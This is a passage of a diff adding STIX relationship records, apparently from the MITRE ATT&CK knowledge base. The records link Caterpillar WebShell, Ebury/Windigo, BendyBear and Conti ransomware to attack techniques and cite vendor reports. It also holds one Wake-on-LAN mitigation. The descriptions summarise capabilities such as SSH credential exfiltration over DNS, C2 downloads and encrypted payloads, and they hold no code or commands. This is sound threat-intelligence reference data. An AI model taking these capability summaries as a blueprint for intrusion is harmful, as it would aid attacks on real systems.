"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "target_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + }, + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021." + } + ], + "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)", + "relationship_type": "uses", + "id": "relationship--5b642677-f57c-4eb7-9e9e-33e12de48cd1", + "type": "relationship", + "modified": "2021-02-10T21:01:17.394Z", + "created": "2021-02-10T19:36:49.355Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a command to modify a Registry key.(Citation: ClearSky Lebanese Cedar Jan 2021)", + "relationship_type": "uses", + "id": "relationship--8ecc61b0-c0b9-4f3a-a6b4-53c88e1d9bb7", + "type": "relationship", + "modified": "2021-02-10T19:41:52.619Z", + "created": "2021-02-10T19:41:52.619Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. 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Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of local groups of users from a system.(Citation: ClearSky Lebanese Cedar Jan 2021)", + "relationship_type": "uses", + "id": "relationship--9c089e25-2028-4afb-9f05-b28d5055f444", + "type": "relationship", + "modified": "2021-02-10T19:41:52.674Z", + "created": "2021-02-10T19:41:52.674Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of user accounts from a victim's machine.(Citation: ClearSky Lebanese Cedar Jan 2021)", + "relationship_type": "uses", + "id": "relationship--c22f5416-2726-491e-ae10-35ec32ff9173", + "type": "relationship", + "modified": "2021-02-10T19:41:52.677Z", + "created": "2021-02-10T19:41:52.677Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + } + ], + "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can run commands on the compromised asset with CMD functions.(Citation: ClearSky Lebanese Cedar Jan 2021)", + "relationship_type": "uses", + "id": "relationship--6188b02d-e7cb-417a-9093-e2d2eea5883f", + "type": "relationship", + "modified": "2021-02-10T19:41:52.687Z", + "created": "2021-02-10T19:41:52.687Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "relationship_type": "uses", + "id": "relationship--66a73f1e-dfb8-4509-be62-787c9a14c221", + "external_references": [ + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." + } + ], + "description": "(Citation: ESET Ebury Oct 2017)", + "type": "relationship", + "modified": "2021-03-15T19:12:18.896Z", + "created": "2021-02-10T19:57:38.177Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "external_references": [ + { + "source_name": "ESET Windigo Mar 2014", + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021." + } + ], + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has delivered a generic Windows proxy Win32/Glubteta.M. [Windigo](https://attack.mitre.org/groups/G0124) has also used multiple reverse proxy chains as part of their C2 infrastructure.(Citation: ESET Windigo Mar 2014)", + "relationship_type": "uses", + "id": "relationship--7c776fbc-592a-4643-bd4f-423546a4732e", + "type": "relationship", + "modified": "2021-02-11T15:52:59.223Z", + "created": "2021-02-10T20:45:20.021Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "external_references": [ + { + "source_name": "ESET Windigo Mar 2014", + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021." + } + ], + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has distributed Windows malware via drive-by downloads.(Citation: ESET Windigo Mar 2014)", + "relationship_type": "uses", + "id": "relationship--f983de6b-eb17-4947-b4b0-50bd530f50e3", + "type": "relationship", + "modified": "2021-02-10T20:45:20.026Z", + "created": "2021-02-10T20:45:20.026Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "external_references": [ + { + "source_name": "ESET Windigo Mar 2014", + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) can automatically exfiltrate gathered SSH credentials.(Citation: ESET Windigo Mar 2014)", + "relationship_type": "uses", + "id": "relationship--6ff6558d-3efb-4219-8d47-ecf82755ccf1", + "type": "relationship", + "modified": "2021-02-10T21:09:24.339Z", + "created": "2021-02-10T21:09:24.339Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "ESET Windigo Mar 2014", + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021." + } + ], + "description": "[Ebury](https://attack.mitre.org/software/S0377) can exfiltrate SSH credentials through custom DNS queries.(Citation: ESET Windigo Mar 2014)", + "relationship_type": "uses", + "id": "relationship--e6ce13c0-7a23-4974-bacc-187eedd9c6da", + "type": "relationship", + "modified": "2021-04-23T22:56:14.882Z", + "created": "2021-02-10T21:09:24.323Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "ESET ForSSHe December 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020." + } + ], + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to gather credentials in files left on disk by OpenSSH backdoors.(Citation: ESET ForSSHe December 2018)", + "relationship_type": "uses", + "id": "relationship--24b8eeb2-ee0d-402b-b2e0-afaa3c867072", + "type": "relationship", + "modified": "2021-04-26T22:32:57.156Z", + "created": "2021-02-11T17:32:31.951Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "ESET ForSSHe December 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020." + } + ], + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to check for the presence of files created by OpenSSH backdoors.(Citation: ESET ForSSHe December 2018)", + "relationship_type": "uses", + "id": "relationship--e2116500-b22a-44f6-ad5b-c3e579a67491", + "type": "relationship", + "modified": "2021-02-11T17:32:31.975Z", + "created": "2021-02-11T17:32:31.975Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "external_references": [ + { + "source_name": "ESET ForSSHe December 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020." + } + ], + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a Perl script for information gathering.(Citation: ESET ForSSHe December 2018)", + "relationship_type": "uses", + "id": "relationship--bea0bf7c-62c8-4334-b523-5cc6ec8b36c8", + "type": "relationship", + "modified": "2021-02-11T17:32:31.979Z", + "created": "2021-02-11T17:32:31.979Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "external_references": [ + { + "source_name": "ESET ForSSHe December 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020." + } + ], + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect installed software on targeted systems.(Citation: ESET ForSSHe December 2018)", + "relationship_type": "uses", + "id": "relationship--39c98d86-3f44-4a47-b7e5-4cb3e4bf97a7", + "type": "relationship", + "modified": "2021-02-11T17:32:31.984Z", + "created": "2021-02-11T17:32:31.984Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "ESET ForSSHe December 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", + "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020." + } + ], + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect which Linux distribution and version is currently installed on the system.(Citation: ESET ForSSHe December 2018)", + "relationship_type": "uses", + "id": "relationship--06ae1d46-2349-457e-817b-e9fdca2f7768", + "type": "relationship", + "modified": "2021-04-26T21:58:31.745Z", + "created": "2021-02-11T17:32:32.042Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "relationship_type": "mitigates", + "description": "Disable Wake-on-LAN if it is not needed within an environment.", + "id": "relationship--c2a79396-f264-4439-94f1-113e3bf3a6be", + "type": "relationship", + "modified": "2021-02-17T14:23:49.782Z", + "created": "2021-02-16T20:04:52.503Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) has decrypted function blocks using a XOR key during runtime to evade detection.(Citation: Unit42 BendyBear Feb 2021)", + "relationship_type": "uses", + "id": "relationship--045da2d4-f599-447b-931b-c11e8692fa1c", + "type": "relationship", + "modified": "2021-04-20T19:17:58.037Z", + "created": "2021-02-16T20:13:27.797Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) is designed to download an implant from a C2 server.(Citation: Unit42 BendyBear Feb 2021)", + "relationship_type": "uses", + "id": "relationship--0f55c28a-835f-4a85-a733-8fac5b819dcf", + "type": "relationship", + "modified": "2021-04-20T19:17:58.035Z", + "created": "2021-02-16T20:13:27.837Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) has encrypted payloads using RC4 and XOR.(Citation: Unit42 BendyBear Feb 2021)", + "relationship_type": "uses", + "id": "relationship--9d0eda8b-7696-4b22-a31e-6761e42bc2ae", + "type": "relationship", + "modified": "2021-04-20T19:17:58.110Z", + "created": "2021-02-16T21:02:48.529Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) can query the host's Registry key at HKEY_CURRENT_USER\\Console\\QuickEdit to retrieve data.(Citation: Unit42 BendyBear Feb 2021)", + "relationship_type": "uses", + "id": "relationship--9753bc87-1ed3-4a28-a9d3-80e004d83e62", + "type": "relationship", + "modified": "2021-04-20T19:17:58.209Z", + "created": "2021-02-16T21:02:48.535Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) communicates to a C2 server over port 443 using modified RC4 and XOR-encrypted chunks.(Citation: Unit42 BendyBear Feb 2021) ", + "relationship_type": "uses", + "id": "relationship--96fad0c2-f880-4fab-8aee-5573e1737dd8", + "type": "relationship", + "modified": "2021-04-21T13:20:13.603Z", + "created": "2021-02-17T16:58:14.661Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "description": "[BendyBear](https://attack.mitre.org/software/S0574) can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing.(Citation: Unit42 BendyBear Feb 2021)", + "relationship_type": "uses", + "id": "relationship--a33dbef1-994b-4dec-accb-6e63e9858f3e", + "type": "relationship", + "modified": "2021-04-21T13:20:13.624Z", + "created": "2021-02-17T17:19:51.250Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can enumerate through all open processes to search for any that have the string \u201csql\u201d in their process name.(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--eacc205b-b8f9-4427-b8bd-3eba5a5a6179", + "type": "relationship", + "modified": "2021-02-17T19:22:30.841Z", + "created": "2021-02-17T19:22:30.841Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can retrieve the ARP cache from the local system by using the GetIpNetTable() API call and check to ensure IP addresses it connects to are for local, non-Internet, systems.(Citation: CarbonBlack Conti July 2020) ", + "relationship_type": "uses", + "id": "relationship--773a86d4-07a9-4e10-9321-24f3da72ae00", + "type": "relationship", + "modified": "2021-04-13T19:18:37.191Z", + "created": "2021-02-17T19:22:30.930Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "external_references": [ + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) has loaded an encrypted DLL into memory and then executes it.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--cd79adbd-3d52-4f26-aea4-cbbbc3d6aa66", + "type": "relationship", + "modified": "2021-04-27T02:50:43.653Z", + "created": "2021-02-17T19:22:30.935Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can utilize command line options to allow an attacker control over how it scans and encrypts files.(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--e5fea1b8-e72c-4d5a-84a7-5545bc2f5dc3", + "type": "relationship", + "modified": "2021-04-13T18:02:57.515Z", + "created": "2021-02-17T19:22:30.946Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) has decrypted its payload using a hardcoded AES-256 key.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)", + "relationship_type": "uses", + "id": "relationship--2ca546e0-6a3f-4a9f-82c3-2e41ffa67b79", + "type": "relationship", + "modified": "2021-02-17T19:22:30.949Z", + "created": "2021-02-17T19:22:30.949Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "external_references": [ + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + } + ], + "description": "[Conti](https://attack.mitre.org/software/S0575) can spread itself by infecting other remote machines via network shared drives.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ", + "relationship_type": "uses", + "id": "relationship--d9cb5add-4191-4c2e-bcde-25336748804c", + "type": "relationship", + "modified": "2021-02-17T19:22:30.953Z", + "created": "2021-02-17T19:22:30.953Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", + "target_ref": 